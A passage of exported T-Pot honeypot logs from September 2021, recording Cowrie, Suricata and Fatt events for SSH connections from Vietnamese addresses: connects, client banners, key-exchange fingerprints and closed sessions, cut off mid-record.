25766	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:48.569388+03	2021-09-20 14:15:12.409646+03	{"_id": "ygbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:41782 (192.168.176.2:22) [session: db949f800bfa]", "session": "db949f800bfa", "@version": "1", "protocol": "ssh", "src_port": 41782, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.569388Z", "@timestamp": "2021-09-20T11:10:48.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25767	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:48.595053+03	2021-09-20 14:15:12.410646+03	{"_id": "ywbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:47032 (192.168.176.2:22) [session: 1811f01b4e8c]", "session": "1811f01b4e8c", "@version": "1", "protocol": "ssh", "src_port": 47032, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.595053Z", "@timestamp": "2021-09-20T11:10:48.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25769	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:48.572366+03	2021-09-20 14:15:12.412645+03	{"_id": "1AbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "db949f800bfa", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:48.572366Z", "@timestamp": "2021-09-20T11:10:48.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25770	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:48.585137+03	2021-09-20 14:15:12.414644+03	{"_id": "1QbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ddfbe5f37749", "@version": "1", "duration": 3.054283618927002, "timestamp": "2021-09-20T11:10:48.585137Z", "@timestamp": "2021-09-20T11:10:48.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25771	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:48.645713+03	2021-09-20 14:15:12.415646+03	{"_id": "1gbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1811f01b4e8c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:48.645713Z", "@timestamp": "2021-09-20T11:10:48.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25772	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:48.829447+03	2021-09-20 14:15:12.416646+03	{"_id": "1wbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "db4d5d8ba232", "@version": "1", "duration": 2.8142528533935547, "timestamp": "2021-09-20T11:10:48.829447Z", "@timestamp": "2021-09-20T11:10:48.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25773	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:48.847114+03	2021-09-20 14:15:12.417646+03	{"_id": "2AbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e25091ee4922", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:48.847114Z", "@timestamp": "2021-09-20T11:10:48.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25774	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:48.851638+03	2021-09-20 14:15:12.418646+03	{"_id": "2QbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "db949f800bfa", "@version": "1", "timestamp": "2021-09-20T11:10:48.851638Z", "@timestamp": "2021-09-20T11:10:48.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25775	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:48.8726+03	2021-09-20 14:15:12.420646+03	{"_id": "2gbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1811f01b4e8c", "@version": "1", "timestamp": "2021-09-20T11:10:48.872600Z", "@timestamp": "2021-09-20T11:10:48.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25776	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:48.977698+03	2021-09-20 14:15:12.422647+03	{"_id": "2wbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b14e47526fa5", "@version": "1", "duration": 2.7517147064208984, "timestamp": "2021-09-20T11:10:48.977698Z", "@timestamp": "2021-09-20T11:10:48.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25777	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:49.081926+03	2021-09-20 14:15:12.423646+03	{"_id": "3AbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e25091ee4922", "@version": "1", "timestamp": "2021-09-20T11:10:49.081926Z", "@timestamp": "2021-09-20T11:10:49.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25778	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:10:49.920341+03	2021-09-20 14:15:12.424645+03	{"_id": "3QbmAnwBvYTbRNuEwxxJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 228300802324720, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53320, "dest_port": 22, "timestamp": "2021-09-20T11:10:49.920341Z", "@timestamp": "2021-09-20T11:10:49.920Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25779	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:10:49.944514+03	2021-09-20 14:15:12.425646+03	{"_id": "4QbmAnwBvYTbRNuExBxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 